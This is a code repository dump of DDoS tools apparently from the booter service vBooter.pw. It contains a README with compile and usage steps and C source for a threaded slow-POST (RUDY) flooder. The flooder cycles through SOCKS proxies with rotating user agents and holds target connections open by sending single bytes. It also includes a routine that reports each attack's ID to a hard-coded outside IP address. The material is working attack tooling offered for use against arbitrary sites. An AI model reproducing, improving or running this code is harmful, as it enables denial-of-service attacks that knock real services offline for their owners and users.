325 | 
326 | int main(int argc, char *argv[ ]) {
327 | 	if(argc < 6){
328 | 		fprintf(stderr, "Invalid parameters!\n");
329 | 		fprintf(stdout, "Usage: %s <target url> <method (GET or HEAD or POST)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
330 | 		exit(-1);
331 | 	}
332 | 	//fprintf(stdout, "Setting up Sockets...\n");
333 | 	int num_threads = atoi(argv[3]);
334 | 	char *method = argv[2];
335 | 	if(!(strcmp(method, "GET")==0 || strcmp(method, "HEAD")==0|| strcmp(method, "POST")==0))
336 | 	{
337 | 		fprintf(stderr, "Invalid parameters!\n");
338 | 		fprintf(stdout, "Usage: %s <target url> <method (GET or HEAD or POST)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
339 | 		exit(-1);
340 | 	}
341 | 	FILE *pFile = fopen(argv[4], "rb");
342 | 	if(pFile==NULL)
343 | 	{
344 | 		perror("fopen"); exit(1);
345 | 	}
346 | 	fseek(pFile, 0, SEEK_END);
347 | 	long lSize = ftell(pFile);
348 | 	rewind(pFile);
349 | 	char *buffer = (char *)malloc(lSize*sizeof(char));
350 | 	fread(buffer, 1, lSize, pFile);
351 | 	fclose (pFile);
352 | 	int i=0;
353 | 	char *pch = (char *)strtok(buffer, ":");
354 | 	while(pch != NULL)
355 | 	{
356 | 		if(head == NULL)
357 | 		{
358 | 			head = (struct list *)malloc(sizeof(struct list));
359 | 			bzero(head, sizeof(struct list));
360 | 			head->data = (struct proxy *)malloc(sizeof(struct proxy));
361 | 			bzero(head->data, sizeof(struct proxy));
362 | 			head->data->working = 1;
363 | 			head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
364 | 			pch = (char *)strtok(NULL, ":");
365 | 			if(pch == NULL) exit(-1);
366 | 			head->data->port = atoi(pch);
367 | 			pch = (char *)strtok(NULL, ":");
368 | 			head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
369 | 			pch = (char *)strtok(NULL, ":");
370 | 			head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
371 | 			head->next = head;
372 | 			head->prev = head;
373 | 		} else {
374 | 			struct list *new_node = (struct list *)malloc(sizeof(struct list));
375 | 			bzero(new_node, sizeof(struct list));
376 | 			new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
377 | 			bzero(new_node->data, sizeof(struct proxy));
378 | 			new_node->data->working = 1;
379 | 			new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
380 | 			pch = (char *)strtok(NULL, ":");
381 | 			if(pch == NULL) break;
382 | 			new_node->data->port = atoi(pch);
383 | 			pch = (char *)strtok(NULL, ":");
384 | 			new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
385 | 			pch = (char *)strtok(NULL, ":");
386 | 			new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
387 | 			new_node->prev = head;
388 | 			new_node->next = head->next;
389 | 			head->next = new_node;
390 | 		}
391 | 	}
392 | 	free(buffer);
393 | 	const rlim_t kOpenFD = 1024 + (num_threads * 2);
394 | 	struct rlimit rl;
395 | 	int result;
396 | 	rl.rlim_cur = kOpenFD;
397 | 	rl.rlim_max = kOpenFD;
398 | 	result = setrlimit(RLIMIT_NOFILE, &rl);
399 | 	if (result != 0)
400 | 	{
401 | 		perror("setrlimit");
402 | 		fprintf(stderr, "setrlimit returned result = %d\n", result);
403 | 	}
404 | 	bzero(&rl, sizeof(struct rlimit));
405 | 	rl.rlim_cur = 256 * 1024;
406 | 	rl.rlim_max = 4096 * 1024;
407 | 	result = setrlimit(RLIMIT_STACK, &rl);
408 | 	if (result != 0)
409 | 	{
410 | 		perror("setrlimit_stack");
411 | 		fprintf(stderr, "setrlimit_stack returned result = %d\n", result);
412 | 	}
413 | 	setupparts();
414 | 	parseURL(argv[1], returnparts);
415 | 	if(argc > 6 && !(strcmp(argv[6], "0") == 0))
416 | 	{
417 | 		ipstr = malloc(strlen(argv[6])+1);
418 | 		bzero(ipstr, strlen(argv[6])+1);
419 | 		strcpy(ipstr, argv[6]);
420 | 		//fprintf(stdout, "Using manual IP...\n");
421 | 	} else {
422 | 		struct hostent *he;
423 | 		struct in_addr a;
424 | 		he = gethostbyname(returnparts[host]->value);
425 | 		if (he)
426 | 		{
427 | 			while (*he->h_addr_list)
428 | 			{
429 | 				bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
430 | 				ipstr = malloc(INET_ADDRSTRLEN+1);
431 | 				inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
432 | 				break;
433 | 			}
434 | 		}
435 | 		else
436 | 		{ herror("gethostbyname"); }
437 | 	}
438 | 	
439 | 	
440 | 	char *postdata = malloc(1);
441 | 	bzero(postdata, 1);
442 | 	char *extrahead = malloc(1);
443 | 	bzero(extrahead, 1);
444 | 	
445 | 	pthread_t thread[num_threads];
446 | 	postpayload = malloc(12001);
447 | 	sprintf(postpayload, postformat, returnparts[host]->value, useragents[rand() % 40], fznGenerateRange());
448 | 	freeparts();
449 | 	
450 | 	//printf("Packet -> \n%s\n", postpayload);
451 | 	
452 | 	//return 0;
453 | 	
454 | 	//fprintf(stdout, "Starting Flood...\n");
455 | 	
456 | 	fnAttackInformation(atoi(argv[argc-1]));
457 | 	
458 | 	for(i = 0;i<num_threads;i++){
459 | 		pthread_create(&thread[i], NULL, &flood, (void *)head);
460 | 		pthread_detach(thread[i]);
461 | 		head = head->next;
462 | 	}
463 | 	
464 | 	int temp = atoi(argv[5]);
465 | 	
466 | 	for(i = 0;i<temp;i++)
467 | 	{
468 | 		//rps=0;
469 | 		sleep(1);
470 | 		//printf("R/s: %d\n", rps);
471 | 	}
472 | 	return 0;
473 | }
474 | void freeparts()
475 | {
476 | 	return;
477 | 	if(returnparts[0]!=NULL) { free(returnparts[0]); }
478 | 	if(returnparts[1]!=NULL) { free(returnparts[1]); }
479 | 	if(returnparts[2]!=NULL) { free(returnparts[2]); }
480 | 	if(returnparts[3]!=NULL) { free(returnparts[3]); }
481 | 	if(returnparts[4]!=NULL) { free(returnparts[4]); }
482 | 	if(returnparts[5]!=NULL) { free(returnparts[5]); }
483 | 	if(returnparts[6]!=NULL) { free(returnparts[6]); }
484 | 	if(returnparts[7]!=NULL) { free(returnparts[7]); }
485 | 	/*if(returnparts[8]!=NULL) { free(returnparts[8]); }*/
486 | 	return;
487 | }
488 | void setupparts()
489 | {
490 | 	returnparts[0] = malloc(sizeof(struct urlparts));
491 | 	returnparts[1] = malloc(sizeof(struct urlparts));
492 | 	returnparts[2] = malloc(sizeof(struct urlparts));
493 | 	returnparts[3] = malloc(sizeof(struct urlparts));
494 | 	returnparts[4] = malloc(sizeof(struct urlparts));
495 | 	returnparts[5] = malloc(sizeof(struct urlparts));
496 | 	returnparts[6] = malloc(sizeof(struct urlparts));
497 | 	returnparts[7] = malloc(sizeof(struct urlparts));
498 | 	/*returnparts[8] = malloc(sizeof(struct urlparts));*/
499 | 	bzero(returnparts[0], sizeof(struct urlparts));
500 | 	bzero(returnparts[1], sizeof(struct urlparts));
501 | 	bzero(returnparts[2], sizeof(struct urlparts));
502 | 	bzero(returnparts[3], sizeof(struct urlparts));
503 | 	bzero(returnparts[4], sizeof(struct urlparts));
504 | 	bzero(returnparts[5], sizeof(struct urlparts));
505 | 	bzero(returnparts[6], sizeof(struct urlparts));
506 | 	bzero(returnparts[7], sizeof(struct urlparts));
507 | 	/*bzero(returnparts[8], sizeof(struct urlparts));*/
508 | 	returnparts[0]->name = "scheme";
509 | 	strcpy(returnparts[0]->separator, ":");
510 | 	returnparts[1]->name = "userid";
511 | 	strcpy(returnparts[1]->separator, "@");
512 | 	returnparts[2]->name = "password";
513 | 	strcpy(returnparts[2]->separator, ":");
514 | 	returnparts[3]->name = "host";
515 | 	strcpy(returnparts[3]->separator, "//");
516 | 	returnparts[4]->name = "port";
517 | 	strcpy(returnparts[4]->separator, ":");
518 | 	returnparts[5]->name = "path";
519 | 	strcpy(returnparts[5]->separator, "/");
520 | 	returnparts[6]->name = "param";
521 | 	strcpy(returnparts[6]->separator, ";");
522 | 	/*returnparts[7]->name = "query";
523 | 	strcpy(returnparts[7]->separator, "?");*/
524 | 	returnparts[7]->name = "fragment";
525 | 	strcpy(returnparts[7]->separator, "#");
526 | 	return;
527 | }
528 | int parseURL(char *url, struct urlparts **returnpart) {
529 | 	register i;
530 | 	int seplen;
531 | 	char * remainder;
532 | 	//char * regall = ":/;?#";
533 | 	char * regall = ":/;#";
534 | 	//char * regpath = ":;?#";
535 | 	char * regpath = ":;#";
536 | 	char * regx;
537 | 	if(!*url)
538 | 	{
539 | 		strcpy(parseError, "nothing to do!\n");
540 | 		return 0;
541 | 	}
542 | 	if((remainder = malloc(strlen(url) + 1)) == NULL)
543 | 	{
544 | 		printf("cannot allocate memory\n");
545 | 		exit(-1);
546 | 	}
547 | 	strcpy(remainder, url);
548 | 	if(firstpunc(remainder) == ':')
549 | 	{
550 | 		strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
551 | 		strleft(remainder, 1);
552 | 	}
553 | 	if (!strcmp(returnpart[scheme]->value, "mailto"))
554 | 	*(returnpart[host]->separator) = 0;
555 | 	for(i = 0; i < NUMPARTS; i++)
556 | 	{
557 | 		if(!*remainder)
558 | 		break;
559 | 		if(i == scheme || i == userid || i == password)
560 | 		continue;
561 | 		if(i == host && strchr(remainder, '@'))
562 | 		{
563 | 			if(!strncmp(remainder, "//", 2))
564 | 			strleft(remainder, 2);
565 | 			strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
566 | 			strleft(remainder, 1);
567 | 			if(strchr(remainder, '@'))
568 | 			{
569 | 				strcpy(returnpart[password]->value, strsplit(remainder, "@"));
570 | 				strleft(remainder, 1);
571 | 			}
572 | 			*(returnpart[host]->separator) = 0;
573 | 		}
574 | 		if(i == path && (! *(returnpart[scheme]->value)))
575 | 		{
576 | 			*(returnpart[path]->separator) = 0;
577 | 			strcpy(returnpart[scheme]->value, "http");
578 | 		}
579 | 		regx = (i == path) ? regpath : regall ;
580 | 		seplen = strlen(returnpart[i]->separator);
581 | 		if(strncmp(remainder, returnpart[i]->separator, seplen))
582 | 		continue;
583 | 		else
584 | 		strleft(remainder, seplen);
585 | 		strcpy(returnpart[i]->value, strsplit(remainder, regx));
586 | 	}
587 | 	if(*remainder)
588 | 	sprintf(parseError, "I don't understand '%s'", remainder);
589 | 	free(remainder);
590 | 	return 0;
591 | }
592 | char *str_replace(char *orig, char *rep, char *with) {
593 | 	char *result; 
594 | 	char *ins;    
595 | 	char *tmp;    
596 | 	int len_rep;  
597 | 	int len_with; 
598 | 	int len_front; 
599 | 	int count;    
600 | 	if (!orig)
601 | 	return NULL;
602 | 	if (!rep || !(len_rep = strlen(rep)))
603 | 	return NULL;
604 | 	if (!(ins = strstr(orig, rep)))
605 | 	return NULL;
606 | 	if (!with)
607 | 	with = "";
608 | 	len_with = strlen(with);
609 | 	for (count = 0; tmp = strstr(ins, rep); ++count) {
610 | 		ins = tmp + len_rep;
611 | 	}
612 | 	tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
613 | 	if (!result)
614 | 	return NULL;
615 | 	while (count--) {
616 | 		ins = strstr(orig, rep);
617 | 		len_front = ins - orig;
618 | 		tmp = strncpy(tmp, orig, len_front) + len_front;
619 | 		tmp = strcpy(tmp, with) + len_with;
620 | 		orig += len_front + len_rep; 
621 | 	}
622 | 	strcpy(tmp, orig);
623 | 	return result;
624 | }
625 | char *stristr(const char *String, const char *Pattern)
626 | {
627 | 	char *pptr, *sptr, *start;
628 | 	uint slen, plen;
629 | 	for (start = (char *)String,
630 | 	pptr = (char *)Pattern,
631 | 	slen = strlen(String),
632 | 	plen = strlen(Pattern);
633 | 	slen >= plen;
634 | 	start++, slen--)
635 | 	{
636 | 		
637 | 		while (toupper(*start) != toupper(*Pattern))
638 | 		{
639 | 			start++;
640 | 			slen--;
641 | 			
642 | 			if (slen < plen)
643 | 			return(NULL);
644 | 		}
645 | 		sptr = start;
646 | 		pptr = (char *)Pattern;
647 | 		while (toupper(*sptr) == toupper(*pptr))
648 | 		{
649 | 			sptr++;
650 | 			pptr++;
651 | 			
652 | 			if ('\0' == *pptr)
653 | 			return (start);
654 | 		}
655 | 	}
656 | 	return(NULL);
657 | }
658 | char * strsplit(char * s, char * tok) {
659 | #define OUTLEN (255)
660 | 	register i, j;
661 | 	static char out[OUTLEN + 1];
662 | 	for(i = 0; s[i] && i < OUTLEN; i++)
663 | 	{
664 | 		if(strchr(tok, s[i]))
665 | 		break;
666 | 		else
667 | 		out[i] = s[i];
668 | 	}
669 | 	out[i] = 0;
670 | 	if(i && s[i])
671 | 	{
672 | 		for(j = 0; s[i]; i++, j++) s[j] = s[i];
673 | 		s[j] = 0;
674 | 	}
675 | 	else if (!s[i])
676 | 	*s = 0;
677 | 	return out;
678 | }
679 | char firstpunc(char * s) {
680 | 	while(*s++)
681 | 	if(!isalnum(*s)) return *s;
682 | 	return 0;
683 | }
684 | int strleft(char * s, int n) {
685 | 	int l;
686 | 	l = strlen(s);
687 | 	if(l < n)
688 | 	return -1;
689 | 	else if (l == n)
690 | 	*s = 0;
691 | 	memmove(s, s + n, l - n + 1);
692 | 	return n;
693 | }
694 | 
695 | unsigned int fnGetIP(char *szHost) {
696 | 	static struct in_addr addr;
697 | 	struct hostent *hHost;
698 | 	addr.s_addr = inet_addr(szHost);
699 | 	if(addr.s_addr == -1)
700 | 	{
701 | 		hHost = gethostbyname(szHost);
702 | 		if(hHost == NULL)
703 | 		{
704 | 			exit(0);
705 | 		}
706 | 		bcopy(hHost->h_addr, (char *)&addr.s_addr, hHost->h_length);
707 | 	}
708 | 	return addr.s_addr;
709 | }
710 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # DDoS Scripts
 2 | **The powerful DDoS scripts of [vBooter.pw](https://www.vbooter.pw/)**
 3 | 
 4 | 
 5 | *Compile (Linux):*
 6 | 
 7 | 		apt-get update
 8 | 		apt-get install gcc
 9 | 		gcc [script-name].c -pthread -o ssyn
10 | 		
11 | *Usage:* 
12 | 	
13 | 			./[script-name] ip port time(commands)
14 | 			
15 | 		
16 | *Compile (Windows):*
17 | 
18 | 		Run cmd.exe
19 | 		tcc -o script-name script-name.c
20 | 				
21 | *Usage:* 
22 | 	
23 | 			From the terminal type ./script-name or in the command prompt type script-name.exe.		
24 | 
25 | 
26 | 			
27 | **For PHP scripts**
28 | 
29 | 		Download and Install XAMMP: https://www.apachefriends.org/download.html
30 | 		Run XAMMP with APACHE 
31 | 		Go to C:\xampp\htdocs place the DDoS script you want (example PPDS.php)
32 | 		Run the script from your browser by goings to http://127.0.0.1/PPDS.php
33 | 
34 | 


--------------------------------------------------------------------------------
/RUDY.c:
--------------------------------------------------------------------------------
   1 | #include <pthread.h>
   2 | #include <sys/resource.h>
   3 | #include <unistd.h>
   4 | #include <stdio.h>
   5 | #include <stdlib.h>
   6 | #include <string.h>
   7 | #include <signal.h>
   8 | #include <sys/socket.h>
   9 | #include <netinet/ip.h>
  10 | #include <netinet/tcp.h>
  11 | #include <netdb.h>
  12 | #include <netinet/in.h>
  13 | #include <ctype.h>
  14 | char *useragents[] = {
  15 | 	"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  16 | 	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  17 | 	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  18 | 	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  19 | 	"Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  20 | 	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  21 | 	"Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  22 | 	"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  23 | 	"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  24 | 	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  25 | 	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  26 | 	"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  27 | 	"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  28 | 	"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  29 | 	"Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  30 | 	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  31 | 	"Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  32 | 	"Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  33 | 	"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  34 | 	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  35 | 	"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  36 | 	"Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  37 | 	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  38 | 	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  39 | 	"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  40 | 	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  41 | 	"Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  42 | 	"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  43 | 	"Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  44 | 	"Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  45 | 	"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  46 | 	"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  47 | 	"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  48 | 	"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  49 | 	"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  50 | 	"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  51 | 	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  52 | 	"Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  53 | 	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  54 | 	"Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  55 | 	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  56 | 	"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  57 | 	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  58 | 	"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  59 | 	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  60 | 	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  61 | 	"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  62 | 	"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  63 | };
  64 | #define ATTACKPORT 80
  65 | char *postformat = "POST /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: #contentlen#\r\n\r\n%s=";
  66 | char *postpayload;
  67 | struct urlparts {
  68 | 	char * name;
  69 | 	char separator[4];
  70 | 	char value[128];
  71 | } parts[] = {
  72 | 	{ "scheme", ":" },
  73 | 	{ "userid", "@" },
  74 | 	{ "password", ":" },
  75 | 	{ "host", "//" },
  76 | 	{ "port", ":" },
  77 | 	{ "path", "/" },
  78 | 	{ "param", ";" },
  79 | 	{ "query", "?" },
  80 | 	{ "fragment", "#" }
  81 | };
  82 | enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
  83 | #define NUMPARTS (sizeof parts / sizeof (struct urlparts))
  84 | struct urlparts *returnparts[8];
  85 | struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
  86 | struct proxy { char *type; char *ip; int port; int working; };
  87 | struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
  88 | struct list *head = NULL;
  89 | char parseError[128];
  90 | int parseURL(char *url, struct urlparts **returnpart);
  91 | char * strsplit(char * s, char * tok);
  92 | char firstpunc(char *s);
  93 | int strleft(char * s, int n);
  94 | void setupparts();
  95 | void freeparts();
  96 | char *stristr(const char *String, const char *Pattern);
  97 | char *str_replace(char *orig, char *rep, char *with);
  98 | char *geturl(char *url, char *useragent, char *ip);
  99 | char *ipstr;
 100 | 
 101 | void *flood(void *par) {
 102 | 	struct list *startpoint = (struct list *)par;
 103 | 	int i;
 104 | 	struct sockaddr_in serverAddr;
 105 | 	signal(SIGPIPE, SIG_IGN);
 106 | 	while(1)
 107 | 	{
 108 | 		int sent = 0;
 109 | 		if(startpoint->data->working == 0)
 110 | 		{
 111 | 			startpoint = startpoint->next;
 112 | 			sleep(1);
 113 | 			continue;
 114 | 		}
 115 | 		memset(&serverAddr, 0, sizeof(serverAddr));
 116 | 		serverAddr.sin_family = AF_INET;
 117 | 		serverAddr.sin_port = htons(startpoint->data->port);
 118 | 		serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
 119 | 		int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
 120 | 		u_int yes=1;
 121 | 		if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
 122 | 		if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
 123 | 		{
 124 | 			startpoint->data->working = 0;
 125 | 			startpoint = startpoint->next;
 126 | 			continue;
 127 | 		}
 128 | 		if(strcmp(startpoint->data->type, "Socks4")==0)
 129 | 		{
 130 | 			unsigned char buf[10];
 131 | 			buf[0] = 0x04;
 132 | 			buf[1] = 0x01;
 133 | 			*(unsigned short*)&buf[2] = htons(ATTACKPORT);
 134 | 			*(unsigned long*)&buf[4] = inet_addr(ipstr);
 135 | 			buf[8] = 0x00;
 136 | 			if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
 137 | 			{
 138 | 				startpoint->data->working = 0;
 139 | 				startpoint = startpoint->next;
 140 | 				close(serverSocket);
 141 | 				continue;
 142 | 			}
 143 | 		}
 144 | 		if(strcmp(startpoint->data->type, "Socks5")==0)
 145 | 		{
 146 | 			unsigned char buf[20];
 147 | 			buf[0] = 0x05;
 148 | 			buf[1] = 0x01;
 149 | 			buf[2] = 0x00;
 150 | 			if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
 151 | 			{
 152 | 				startpoint->data->working = 0;
 153 | 				startpoint = startpoint->next;
 154 | 				close(serverSocket);
 155 | 				continue;
 156 | 			}
 157 | 			buf[0] = 0x05;
 158 | 			buf[1] = 0x01;
 159 | 			buf[2] = 0x00;
 160 | 			buf[3] = 0x01;
 161 | 			*(unsigned long*)&buf[4] = inet_addr(ipstr);
 162 | 			*(unsigned short*)&buf[8] = htons(ATTACKPORT);
 163 | 			if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
 164 | 			{
 165 | 				printf("BAD PROXY ONLY SENT %d:%d\n", sent, 10);
 166 | 				perror("send 10");
 167 | 				startpoint->data->working = 0;
 168 | 				startpoint = startpoint->next;
 169 | 				close(serverSocket);
 170 | 				continue;
 171 | 			}
 172 | 		}
 173 | 		char *length = (char *)malloc(255);
 174 | 		sprintf(length, "%d", ((rand() % 10000) + 20000));
 175 | 		char *httppartpayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
 176 | 		char *httppayload = str_replace(httppartpayload, "#contentlen#", length);
 177 | 		free(httppartpayload);
 178 | 		if(httppayload == NULL)
 179 | 		{
 180 | 			startpoint = startpoint->next;
 181 | 			close(serverSocket);
 182 | 			continue;
 183 | 		}
 184 | 		sent = send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL);
 185 | 		//printf("sent main payload %d\n", sent);
 186 | 		free(httppayload);
 187 | 		//char *postshit = "Z";
 188 | 		//while(send(serverSocket, postshit, 1, MSG_NOSIGNAL) > 0)
 189 | 	//	{
 190 | 	//		sleep(1);
 191 | 			//printf(".");
 192 | 	//	}
 193 | 		int success;
 194 | 		do
 195 | 		{
 196 | 			char postshit = rand() % 97 + 26;
 197 | 			success = send(serverSocket, &postshit, 1, MSG_NOSIGNAL);
 198 | 			sleep(rand() % 3 + 1);
 199 | 			//printf(".");
 200 | 		} while (success > 0);
 201 | 		close(serverSocket);
 202 | 		usleep(30000);
 203 | 		//startpoint = startpoint->next;
 204 | 	}
 205 | }
 206 | 
 207 | int fnAttackInformation(int attackID)
 208 | {
 209 | 	char szRecvBuff[1024];
 210 | 	char packet[1024];
 211 | 	char ip[] = "37.221.170.5";
 212 | 
 213 | 	snprintf(packet, sizeof(packet) - 1, "GET /~dqyefldi/response.php?auth=tru&id=%d&pro=%d HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nCache-Control: no-cache\r\nOrigin: http://google.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\nAccept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n", attackID, getpid(), ip);
 214 | 
 215 | 	struct sockaddr_in *remote;
 216 | 	int sock;
 217 | 	int tmpres;
 218 | 	
 219 |  
 220 | 	if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
 221 | 	{
 222 | 		perror("Can't create TCP socket");
 223 | 		exit(1);
 224 | 	}
 225 | 	
 226 | 	remote = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in *));
 227 | 	remote->sin_family = AF_INET;
 228 | 	tmpres = inet_pton(AF_INET, ip, (void *)(&(remote->sin_addr.s_addr)));
 229 | 	
 230 | 	if (tmpres < 0)  
 231 | 	{
 232 | 		perror("Can't set remote->sin_addr.s_addr");
 233 | 		exit(1);
 234 | 	}
 235 | 	else if (tmpres == 0)
 236 | 	{
 237 | 		fprintf(stderr, "%s is not a valid IP address\n", ip);
 238 | 		exit(1);
 239 | 	}
 240 | 	
 241 | 	remote->sin_port = htons(80);
 242 | 	
 243 | 	if (connect(sock, (struct sockaddr *)remote, sizeof(struct sockaddr)) < 0)
 244 | 	{
